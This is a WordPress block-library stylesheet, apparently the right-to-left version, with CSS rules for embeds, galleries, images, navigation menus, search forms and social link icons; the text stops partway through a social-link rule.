.wp-has-aspect-ratio .wp-block-embed__wrapper::before { content: ""; display: block; padding-top: 50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe { position: absolute; top: 0; left: 0; bottom: 0; right: 0; height: 100%; width: 100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before { padding-top: 42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before { padding-top: 50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before { padding-top: 56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before { padding-top: 75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before { padding-top: 100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before { padding-top: 177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before { padding-top: 200%; } .wp-block-file { margin-bottom: 1.5em; } .wp-block-file.aligncenter { text-align: center; } .wp-block-file.alignright { text-align: right; } .wp-block-file .wp-block-file__button { background: #32373c; border-radius: 2em; color: #fff; font-size: 0.8em; padding: 0.5em 1em; } .wp-block-file a.wp-block-file__button { text-decoration: none; } .wp-block-file a.wp-block-file__button:hover, .wp-block-file a.wp-block-file__button:visited, .wp-block-file a.wp-block-file__button:focus, .wp-block-file a.wp-block-file__button:active { box-shadow: none; color: #fff; opacity: 0.85; text-decoration: none; } .wp-block-file * + .wp-block-file__button { margin-right: 0.75em; } .wp-block-gallery, .blocks-gallery-grid { display: flex; flex-wrap: wrap; list-style-type: none; padding: 0; margin: 0; } .wp-block-gallery .blocks-gallery-image, .wp-block-gallery .blocks-gallery-item, .blocks-gallery-grid .blocks-gallery-image, .blocks-gallery-grid .blocks-gallery-item { margin: 0 0 1em 1em; display: flex; flex-grow: 1; flex-direction: column; justify-content: center; position: relative; width: calc(50% - 1em); } .wp-block-gallery .blocks-gallery-image:nth-of-type(even), .wp-block-gallery .blocks-gallery-item:nth-of-type(even), .blocks-gallery-grid .blocks-gallery-image:nth-of-type(even), .blocks-gallery-grid .blocks-gallery-item:nth-of-type(even) { margin-left: 0; } .wp-block-gallery .blocks-gallery-image figure, .wp-block-gallery .blocks-gallery-item figure, .blocks-gallery-grid .blocks-gallery-image figure, .blocks-gallery-grid .blocks-gallery-item figure { margin: 0; height: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-gallery .blocks-gallery-image figure, .wp-block-gallery .blocks-gallery-item figure, .blocks-gallery-grid .blocks-gallery-image figure, .blocks-gallery-grid .blocks-gallery-item figure { display: flex; align-items: flex-end; justify-content: flex-start; } } .wp-block-gallery .blocks-gallery-image img, .wp-block-gallery .blocks-gallery-item img, .blocks-gallery-grid .blocks-gallery-image img, .blocks-gallery-grid .blocks-gallery-item img { display: block; max-width: 100%; height: auto; width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-gallery .blocks-gallery-image img, .wp-block-gallery .blocks-gallery-item img, .blocks-gallery-grid .blocks-gallery-image img, .blocks-gallery-grid .blocks-gallery-item img { width: auto; } } .wp-block-gallery .blocks-gallery-image figcaption, .wp-block-gallery .blocks-gallery-item figcaption, .blocks-gallery-grid .blocks-gallery-image figcaption, .blocks-gallery-grid .blocks-gallery-item figcaption { position: absolute; bottom: 0; width: 100%; max-height: 100%; overflow: auto; padding: 3em 0.77em 0.7em; color: #fff; text-align: center; font-size: 0.8em; background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); box-sizing: border-box; margin: 0; } .wp-block-gallery .blocks-gallery-image figcaption img, .wp-block-gallery .blocks-gallery-item figcaption img, .blocks-gallery-grid .blocks-gallery-image figcaption img, .blocks-gallery-grid .blocks-gallery-item figcaption img { display: inline; } .wp-block-gallery figcaption, .blocks-gallery-grid figcaption { flex-grow: 1; } .wp-block-gallery.is-cropped .blocks-gallery-image a, .wp-block-gallery.is-cropped .blocks-gallery-image img, .wp-block-gallery.is-cropped .blocks-gallery-item a, .wp-block-gallery.is-cropped .blocks-gallery-item img, .blocks-gallery-grid.is-cropped .blocks-gallery-image a, .blocks-gallery-grid.is-cropped .blocks-gallery-image img, .blocks-gallery-grid.is-cropped .blocks-gallery-item a, .blocks-gallery-grid.is-cropped .blocks-gallery-item img { width: 100%; } @supports ((position: -webkit-sticky) or (position: sticky)) { .wp-block-gallery.is-cropped .blocks-gallery-image a, .wp-block-gallery.is-cropped .blocks-gallery-image img, .wp-block-gallery.is-cropped .blocks-gallery-item a, .wp-block-gallery.is-cropped .blocks-gallery-item img, .blocks-gallery-grid.is-cropped .blocks-gallery-image a, .blocks-gallery-grid.is-cropped .blocks-gallery-image img, .blocks-gallery-grid.is-cropped .blocks-gallery-item a, .blocks-gallery-grid.is-cropped .blocks-gallery-item img { height: 100%; flex: 1; -o-object-fit: cover; object-fit: cover; } } .wp-block-gallery.columns-1 .blocks-gallery-image, .wp-block-gallery.columns-1 .blocks-gallery-item, .blocks-gallery-grid.columns-1 .blocks-gallery-image, .blocks-gallery-grid.columns-1 .blocks-gallery-item { width: 100%; margin-left: 0; } @media (min-width: 600px) { .wp-block-gallery.columns-3 .blocks-gallery-image, .wp-block-gallery.columns-3 .blocks-gallery-item, .blocks-gallery-grid.columns-3 .blocks-gallery-image, .blocks-gallery-grid.columns-3 .blocks-gallery-item { width: calc(33.3333333333% - 0.6666666667em); margin-left: 1em; } .wp-block-gallery.columns-4 .blocks-gallery-image, .wp-block-gallery.columns-4 .blocks-gallery-item, .blocks-gallery-grid.columns-4 .blocks-gallery-image, .blocks-gallery-grid.columns-4 .blocks-gallery-item { width: calc(25% - 0.75em); margin-left: 1em; } .wp-block-gallery.columns-5 .blocks-gallery-image, .wp-block-gallery.columns-5 .blocks-gallery-item, .blocks-gallery-grid.columns-5 .blocks-gallery-image, .blocks-gallery-grid.columns-5 .blocks-gallery-item { width: calc(20% - 0.8em); margin-left: 1em; } .wp-block-gallery.columns-6 .blocks-gallery-image, .wp-block-gallery.columns-6 .blocks-gallery-item, .blocks-gallery-grid.columns-6 .blocks-gallery-image, .blocks-gallery-grid.columns-6 .blocks-gallery-item { width: calc(16.6666666667% - 0.8333333333em); margin-left: 1em; } .wp-block-gallery.columns-7 .blocks-gallery-image, .wp-block-gallery.columns-7 .blocks-gallery-item, .blocks-gallery-grid.columns-7 .blocks-gallery-image, .blocks-gallery-grid.columns-7 .blocks-gallery-item { width: calc(14.2857142857% - 0.8571428571em); margin-left: 1em; } .wp-block-gallery.columns-8 .blocks-gallery-image, .wp-block-gallery.columns-8 .blocks-gallery-item, .blocks-gallery-grid.columns-8 .blocks-gallery-image, .blocks-gallery-grid.columns-8 .blocks-gallery-item { width: calc(12.5% - 0.875em); margin-left: 1em; } .wp-block-gallery.columns-1 .blocks-gallery-image:nth-of-type(1n), .wp-block-gallery.columns-1 .blocks-gallery-item:nth-of-type(1n), .blocks-gallery-grid.columns-1 .blocks-gallery-image:nth-of-type(1n), .blocks-gallery-grid.columns-1 .blocks-gallery-item:nth-of-type(1n) { margin-left: 0; } .wp-block-gallery.columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery.columns-2 .blocks-gallery-item:nth-of-type(2n), .blocks-gallery-grid.columns-2 .blocks-gallery-image:nth-of-type(2n), .blocks-gallery-grid.columns-2 .blocks-gallery-item:nth-of-type(2n) { margin-left: 0; } .wp-block-gallery.columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery.columns-3 .blocks-gallery-item:nth-of-type(3n), .blocks-gallery-grid.columns-3 .blocks-gallery-image:nth-of-type(3n), .blocks-gallery-grid.columns-3 .blocks-gallery-item:nth-of-type(3n) { margin-left: 0; } .wp-block-gallery.columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery.columns-4 .blocks-gallery-item:nth-of-type(4n), .blocks-gallery-grid.columns-4 .blocks-gallery-image:nth-of-type(4n), .blocks-gallery-grid.columns-4 .blocks-gallery-item:nth-of-type(4n) { margin-left: 0; } .wp-block-gallery.columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery.columns-5 .blocks-gallery-item:nth-of-type(5n), .blocks-gallery-grid.columns-5 .blocks-gallery-image:nth-of-type(5n), .blocks-gallery-grid.columns-5 .blocks-gallery-item:nth-of-type(5n) { margin-left: 0; } .wp-block-gallery.columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery.columns-6 .blocks-gallery-item:nth-of-type(6n), .blocks-gallery-grid.columns-6 .blocks-gallery-image:nth-of-type(6n), .blocks-gallery-grid.columns-6 .blocks-gallery-item:nth-of-type(6n) { margin-left: 0; } .wp-block-gallery.columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery.columns-7 .blocks-gallery-item:nth-of-type(7n), .blocks-gallery-grid.columns-7 .blocks-gallery-image:nth-of-type(7n), .blocks-gallery-grid.columns-7 .blocks-gallery-item:nth-of-type(7n) { margin-left: 0; } .wp-block-gallery.columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery.columns-8 .blocks-gallery-item:nth-of-type(8n), .blocks-gallery-grid.columns-8 .blocks-gallery-image:nth-of-type(8n), .blocks-gallery-grid.columns-8 .blocks-gallery-item:nth-of-type(8n) { margin-left: 0; } } .wp-block-gallery .blocks-gallery-image:last-child, .wp-block-gallery .blocks-gallery-item:last-child, .blocks-gallery-grid .blocks-gallery-image:last-child, .blocks-gallery-grid .blocks-gallery-item:last-child { margin-left: 0; } .wp-block-gallery.alignleft, .wp-block-gallery.alignright, .blocks-gallery-grid.alignleft, .blocks-gallery-grid.alignright { max-width: 420px; width: 100%; } .wp-block-gallery.aligncenter .blocks-gallery-item figure, .blocks-gallery-grid.aligncenter .blocks-gallery-item figure { justify-content: center; } .wp-block-group { box-sizing: border-box; } h1.has-background, h2.has-background, h3.has-background, h4.has-background, h5.has-background, h6.has-background { padding: 1.25em 2.375em; } .wp-block-image { margin-bottom: 1em; } .wp-block-image img { max-width: 100%; } .wp-block-image:not(.is-style-rounded) img { border-radius: inherit; } .wp-block-image.aligncenter { text-align: center; } .wp-block-image.alignfull img, .wp-block-image.alignwide img { width: 100%; } .wp-block-image .alignleft, .wp-block-image .alignright, .wp-block-image .aligncenter { display: table; } .wp-block-image .alignleft > figcaption, .wp-block-image .alignright > figcaption, .wp-block-image .aligncenter > figcaption { display: table-caption; caption-side: bottom; } .wp-block-image .alignleft { float: left; margin-left: 0; margin-left: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .alignright { float: right; margin-right: 0; margin-right: 1em; margin-top: 0.5em; margin-bottom: 0.5em; } .wp-block-image .aligncenter { margin-right: auto; margin-left: auto; } .wp-block-image figcaption { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-image.is-style-rounded img { border-radius: 9999px; } .wp-block-image.is-style-circle-mask img { border-radius: 9999px; } @supports ((-webkit-mask-image: none) or (mask-image: none)) or (-webkit-mask-image: none) { .wp-block-image.is-style-circle-mask img { /* stylelint-disable */ -webkit-mask-image: url('data:image/svg+xml;utf8,'); mask-image: url('data:image/svg+xml;utf8,'); /* stylelint-enable */ mask-mode: alpha; -webkit-mask-repeat: no-repeat; mask-repeat: no-repeat; -webkit-mask-size: contain; mask-size: contain; -webkit-mask-position: center; mask-position: center; border-radius: 0; } } .wp-block-latest-comments__comment { line-height: 1.1; list-style: none; margin-bottom: 1em; } .has-avatars .wp-block-latest-comments__comment { min-height: 2.25em; list-style: none; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta, .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt { margin-right: 3.25em; } .has-dates .wp-block-latest-comments__comment, .has-excerpts .wp-block-latest-comments__comment { line-height: 1.5; } .wp-block-latest-comments__comment-excerpt p { font-size: 0.875em; line-height: 1.8; margin: 0.36em 0 1.4em; } .wp-block-latest-comments__comment-date { display: block; font-size: 0.75em; } .wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar { border-radius: 1.5em; display: block; float: right; height: 2.5em; margin-left: 0.75em; width: 2.5em; } .wp-block-latest-posts.alignleft { margin-right: 2em; } .wp-block-latest-posts.alignright { margin-left: 2em; } .wp-block-latest-posts.wp-block-latest-posts__list { list-style: none; } .wp-block-latest-posts.wp-block-latest-posts__list li { clear: both; } .wp-block-latest-posts.is-grid { display: flex; flex-wrap: wrap; padding: 0; } .wp-block-latest-posts.is-grid li { margin: 0 0 1.25em 1.25em; width: 100%; } @media (min-width: 600px) { .wp-block-latest-posts.columns-2 li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-latest-posts.columns-2 li:nth-child(2n) { margin-left: 0; } .wp-block-latest-posts.columns-3 li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-latest-posts.columns-3 li:nth-child(3n) { margin-left: 0; } .wp-block-latest-posts.columns-4 li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-latest-posts.columns-4 li:nth-child(4n) { margin-left: 0; } .wp-block-latest-posts.columns-5 li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-latest-posts.columns-5 li:nth-child(5n) { margin-left: 0; } .wp-block-latest-posts.columns-6 li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } .wp-block-latest-posts.columns-6 li:nth-child(6n) { margin-left: 0; } } .wp-block-latest-posts__post-date, .wp-block-latest-posts__post-author { display: block; color: #555; font-size: 0.8125em; } .wp-block-latest-posts__post-excerpt { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-latest-posts__featured-image a { display: inline-block; } .wp-block-latest-posts__featured-image img { height: auto; width: auto; } .wp-block-latest-posts__featured-image.alignleft { margin-right: 1em; } .wp-block-latest-posts__featured-image.alignright { margin-left: 1em; } .wp-block-latest-posts__featured-image.aligncenter { margin-bottom: 1em; text-align: center; } .block-editor-image-alignment-control__row .components-base-control__field { display: flex; justify-content: space-between; align-items: center; } .block-editor-image-alignment-control__row .components-base-control__field .components-base-control__label { margin-bottom: 0; } ol.has-background, ul.has-background { padding: 1.25em 2.375em; } .wp-block-media-text { direction: ltr; display: -ms-grid; display: grid; -ms-grid-columns: 50% 1fr; grid-template-columns: 50% 1fr; -ms-grid-rows: auto; grid-template-rows: auto; } .wp-block-media-text.has-media-on-the-right { -ms-grid-columns: 1fr 50%; grid-template-columns: 1fr 50%; } .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-top .wp-block-media-text__media { -ms-grid-row-align: start; align-self: start; } .wp-block-media-text .wp-block-media-text__content, .wp-block-media-text .wp-block-media-text__media, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-center .wp-block-media-text__media { -ms-grid-row-align: center; align-self: center; } .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__content, .wp-block-media-text.is-vertically-aligned-bottom .wp-block-media-text__media { -ms-grid-row-align: end; align-self: end; } .wp-block-media-text .wp-block-media-text__media { -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 1; grid-row: 1; margin: 0; } .wp-block-media-text .wp-block-media-text__content { direction: rtl; -ms-grid-column: 2; grid-column: 2; -ms-grid-row: 1; grid-row: 1; padding: 0 8% 0 8%; word-break: break-word; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__media { -ms-grid-column: 2; grid-column: 2; -ms-grid-row: 1; grid-row: 1; } .wp-block-media-text.has-media-on-the-right .wp-block-media-text__content { -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 1; grid-row: 1; } .wp-block-media-text__media img, .wp-block-media-text__media video { max-width: unset; width: 100%; vertical-align: middle; } .wp-block-media-text.is-image-fill .wp-block-media-text__media { height: 100%; min-height: 250px; background-size: cover; } .wp-block-media-text.is-image-fill .wp-block-media-text__media > a { display: block; height: 100%; } .wp-block-media-text.is-image-fill .wp-block-media-text__media img { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } /* * Here we here not able to use a mobile first CSS approach. * Custom widths are set using inline styles, and on mobile, * we need 100% width, so we use important to overwrite the inline style. * If the style were set on mobile first, on desktop styles, * we would have no way of setting the style again to the inline style. */ @media (max-width: 600px) { .wp-block-media-text.is-stacked-on-mobile { -ms-grid-columns: 100% !important; grid-template-columns: 100% !important; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__media { -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 1; grid-row: 1; } .wp-block-media-text.is-stacked-on-mobile .wp-block-media-text__content { -ms-grid-column: 1; grid-column: 1; -ms-grid-row: 2; grid-row: 2; } } .wp-block-navigation:not(.has-background) .wp-block-navigation__container .wp-block-navigation__container { color: #1e1e1e; background-color: #fff; min-width: 200px; } .items-justified-left > ul { justify-content: flex-start; } .items-justified-center > ul { justify-content: center; } .items-justified-right > ul { justify-content: flex-end; } .items-justified-space-between > ul { justify-content: space-between; } .wp-block-navigation-link { display: flex; align-items: center; position: relative; margin: 0; } .wp-block-navigation-link .wp-block-navigation__container:empty { display: none; } .wp-block-navigation__container { list-style: none; margin: 0; padding-right: 0; display: flex; flex-wrap: wrap; } .is-vertical .wp-block-navigation__container { display: block; } .has-child > .wp-block-navigation-link__content { padding-left: 0.5em; } .has-child .wp-block-navigation__container { border: 1px solid rgba(0, 0, 0, 0.15); background-color: inherit; color: inherit; position: absolute; right: 0; top: 100%; width: -webkit-fit-content; width: -moz-fit-content; width: fit-content; z-index: 2; opacity: 0; transition: opacity 0.1s linear; visibility: hidden; } .has-child .wp-block-navigation__container > .wp-block-navigation-link > .wp-block-navigation-link__content { flex-grow: 1; } .has-child .wp-block-navigation__container > .wp-block-navigation-link > .wp-block-navigation-link__submenu-icon { padding-left: 0.5em; } @media (min-width: 782px) { .has-child .wp-block-navigation__container { right: 1.5em; } .has-child .wp-block-navigation__container .wp-block-navigation__container { right: 100%; top: -1px; } .has-child .wp-block-navigation__container .wp-block-navigation__container::before { content: ""; position: absolute; left: 100%; height: 100%; display: block; width: 0.5em; background: transparent; } .has-child .wp-block-navigation__container .wp-block-navigation-link__submenu-icon svg { transform: rotate(0); } } .has-child:hover { cursor: pointer; } .has-child:hover > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .has-child:focus-within { cursor: pointer; } .has-child:focus-within > .wp-block-navigation__container { visibility: visible; opacity: 1; display: flex; flex-direction: column; } .wp-block-navigation[style*=text-decoration] .wp-block-navigation__container, .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link { text-decoration: inherit; } .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content { text-decoration: inherit; } .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:focus, .wp-block-navigation[style*=text-decoration] .wp-block-navigation-link__content:active { text-decoration: inherit; } .wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content { text-decoration: none; } .wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:focus, .wp-block-navigation:not([style*=text-decoration]) .wp-block-navigation-link__content:active { text-decoration: none; } .wp-block-navigation-link__content { color: inherit; padding: 0.5em 1em; } .wp-block-navigation-link__content + .wp-block-navigation-link__content { padding-top: 0; } .has-text-color .wp-block-navigation-link__content { color: inherit; } .wp-block-navigation-link__label { word-break: normal; overflow-wrap: break-word; } .wp-block-navigation-link__submenu-icon { height: inherit; padding: 0.375em 0 0.375em 1em; } .wp-block-navigation-link__submenu-icon svg { fill: currentColor; } @media (min-width: 782px) { .wp-block-navigation-link__submenu-icon svg { transform: rotate(-90deg); } } .is-small-text { font-size: 0.875em; } .is-regular-text { font-size: 1em; } .is-large-text { font-size: 2.25em; } .is-larger-text { font-size: 3em; } .has-drop-cap:not(:focus)::first-letter { float: right; font-size: 8.4em; line-height: 0.68; font-weight: 100; margin: 0.05em 0 0 0.1em; text-transform: uppercase; font-style: normal; } p.has-background { padding: 1.25em 2.375em; } p.has-text-color a { color: inherit; } .wp-block-post-author { display: flex; flex-wrap: wrap; } .wp-block-post-author__byline { width: 100%; margin-top: 0; margin-bottom: 0; font-size: 0.5em; } .wp-block-post-author__avatar { margin-left: 1em; } .wp-block-post-author__bio { margin-bottom: 0.7em; font-size: 0.7em; } .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author__name { font-weight: bold; margin: 0; } .wp-block-post-comments-form input[type=submit] { color: #fff; background-color: #32373c; border: none; border-radius: 1.55em; box-shadow: none; cursor: pointer; display: inline-block; font-size: 1.125em; padding: 0.667em 1.333em; text-align: center; text-decoration: none; overflow-wrap: break-word; } .wp-block-post-comments-form input[type=submit]:hover, .wp-block-post-comments-form input[type=submit]:focus, .wp-block-post-comments-form input[type=submit]:active, .wp-block-post-comments-form input[type=submit]:visited { color: #fff; } .wp-block-preformatted { white-space: pre-wrap; } .wp-block-pullquote { padding: 3em 0; margin-right: 0; margin-left: 0; text-align: center; } .wp-block-pullquote.alignleft, .wp-block-pullquote.alignright { max-width: 420px; } .wp-block-pullquote.alignleft p, .wp-block-pullquote.alignright p { font-size: 1.25em; } .wp-block-pullquote p { font-size: 1.75em; line-height: 1.6; } .wp-block-pullquote cite, .wp-block-pullquote footer { position: relative; } .wp-block-pullquote .has-text-color a { color: inherit; } .wp-block-pullquote:not(.is-style-solid-color) { background: none; } .wp-block-pullquote.is-style-solid-color { border: none; } .wp-block-pullquote.is-style-solid-color blockquote { margin-right: auto; margin-left: auto; text-align: right; max-width: 60%; } .wp-block-pullquote.is-style-solid-color blockquote p { margin-top: 0; margin-bottom: 0; font-size: 2em; } .wp-block-pullquote.is-style-solid-color blockquote cite { text-transform: none; font-style: normal; } .wp-block-pullquote cite { color: inherit; } .wp-block-query-loop { max-width: 100%; list-style: none; padding: 0; } .wp-block-query-loop li { clear: both; } .wp-block-query-loop.is-flex-container { flex-direction: row; display: flex; flex-wrap: wrap; } .wp-block-query-loop.is-flex-container li { margin: 0 0 1.25em 0; width: 100%; } @media (min-width: 600px) { .wp-block-query-loop.is-flex-container li { margin-left: 1.25em; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li:nth-child(2n) { margin-left: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li:nth-child(3n) { margin-left: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li:nth-child(4n) { margin-left: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li:nth-child(5n) { margin-left: 0; } .wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } .wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li:nth-child(6n) { margin-left: 0; } } .wp-block-query-pagination { display: flex; flex-direction: row; flex-wrap: wrap; } .wp-block-query-pagination > .wp-block-query-pagination-next, .wp-block-query-pagination > .wp-block-query-pagination-previous, .wp-block-query-pagination > .wp-block-query-pagination-numbers { display: inline-block; margin-right: 0.5em; margin-bottom: 0.5em; } .wp-block-query-pagination > .wp-block-query-pagination-next:last-child, .wp-block-query-pagination > .wp-block-query-pagination-previous:last-child, .wp-block-query-pagination > .wp-block-query-pagination-numbers:last-child { margin-right: 0; } .wp-block-quote.is-style-large, .wp-block-quote.is-large { margin-bottom: 1em; padding: 0 1em; } .wp-block-quote.is-style-large p, .wp-block-quote.is-large p { font-size: 1.5em; font-style: italic; line-height: 1.6; } .wp-block-quote.is-style-large cite, .wp-block-quote.is-style-large footer, .wp-block-quote.is-large cite, .wp-block-quote.is-large footer { font-size: 1.125em; text-align: left; } .wp-block-rss.wp-block-rss { box-sizing: border-box; } .wp-block-rss.alignleft { margin-right: 2em; } .wp-block-rss.alignright { margin-left: 2em; } .wp-block-rss.is-grid { display: flex; flex-wrap: wrap; padding: 0; list-style: none; } .wp-block-rss.is-grid li { margin: 0 0 1em 1em; width: 100%; } @media (min-width: 600px) { .wp-block-rss.columns-2 li { width: calc(( 100% / 2 ) - 1em); } .wp-block-rss.columns-3 li { width: calc(( 100% / 3 ) - 1em); } .wp-block-rss.columns-4 li { width: calc(( 100% / 4 ) - 1em); } .wp-block-rss.columns-5 li { width: calc(( 100% / 5 ) - 1em); } .wp-block-rss.columns-6 li { width: calc(( 100% / 6 ) - 1em); } } .wp-block-rss__item-publish-date, .wp-block-rss__item-author { display: block; color: #555; font-size: 0.8125em; } .wp-block-search .wp-block-search__button { background: #f7f7f7; border: 1px solid #ccc; padding: 0.375em 0.625em; color: #32373c; margin-right: 0.625em; word-break: normal; } .wp-block-search .wp-block-search__button.has-icon { line-height: 0; } .wp-block-search .wp-block-search__button svg { min-width: 1.5em; min-height: 1.5em; } .wp-block-search .wp-block-search__inside-wrapper { display: flex; flex: auto; flex-wrap: nowrap; max-width: 100%; } .wp-block-search .wp-block-search__label { width: 100%; } .wp-block-search .wp-block-search__input { flex-grow: 1; min-width: 3em; border: 1px solid #949494; } .wp-block-search.wp-block-search__button-only .wp-block-search__button { margin-right: 0; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper { padding: 4px; border: 1px solid #949494; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input { border-radius: 0; border: none; padding: 0 0.25em 0 0; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__input:focus { outline: none; } .wp-block-search.wp-block-search__button-inside .wp-block-search__inside-wrapper .wp-block-search__button { padding: 0.125em 0.5em; } .wp-block-separator.is-style-wide { border-bottom-width: 1px; } .wp-block-separator.is-style-dots { background: none !important; border: none; text-align: center; max-width: none; line-height: 1; height: auto; } .wp-block-separator.is-style-dots::before { content: "···"; color: currentColor; font-size: 1.5em; letter-spacing: 2em; padding-left: 2em; font-family: serif; } .wp-block-custom-logo { line-height: 0; } .wp-block-custom-logo .aligncenter { display: table; } .wp-block-custom-logo.is-style-rounded img { border-radius: 9999px; } .wp-block-social-links { display: flex; flex-wrap: wrap; justify-content: flex-start; padding-right: 0; padding-left: 0; text-indent: 0; margin-right: 0; } .wp-block-social-links .wp-social-link a, .wp-block-social-links .wp-social-link a:hover { text-decoration: none; border-bottom: 0; box-shadow: none; } .wp-block-social-links .wp-social-link.wp-social-link.wp-social-link { margin: 4px 0 4px 8px; } .wp-block-social-links .wp-social-link a { padding: 0.25em; } .wp-block-social-links .wp-social-link svg { width: 1em; height: 1em; } .wp-block-social-links.has-small-icon-size { font-size: 16px; } .wp-block-social-links, .wp-block-social-links.has-normal-icon-size { font-size: 24px; } .wp-block-social-links.has-large-icon-size { font-size: 36px; } .wp-block-social-links.has-huge-icon-size { font-size: 48px; } .wp-block-social-links.aligncenter { justify-content: center; display: flex; } .wp-block-social-links.alignright { justify-content: flex-end; } .wp-social-link { display: block; border-radius: 9999px; transition: transform 0.1s ease; height: auto; } @media (prefers-reduced-motion: reduce) { .wp-social-link { transition-duration: 0s; } } .wp-social-link a { display: block; line-height: 0; transition: transform 0.1s ease; } .wp-social-link a, .wp-social-link a:hover, .wp-social-link a:active, .wp-social-link a:visited, .wp-social-link svg { color: currentColor; fill: currentColor; } .wp-social-link:hover { transform: scale(1.1); } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link { background-color: #f0f0f0; color: #444; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon { background-color: #f90; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp { background-color: #1ea0c3; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance { background-color: #0757fe; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen { background-color: #1e1f26; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart { background-color: #02e49b; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble { background-color: #e94c89; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox { background-color: #4280ff; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy { background-color: #f45800; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook { background-color: #1778f2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx { background-color: #000; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr { background-color: #0461dd; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare { background-color: #e65678; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github { background-color: #24292d; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads { background-color: #eceadd; color: #382110; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google { background-color: #ea4434; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram { background-color: #f00075; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm { background-color: #e21b24; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin { background-color: #0d66c2; color: #fff; } .wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon { 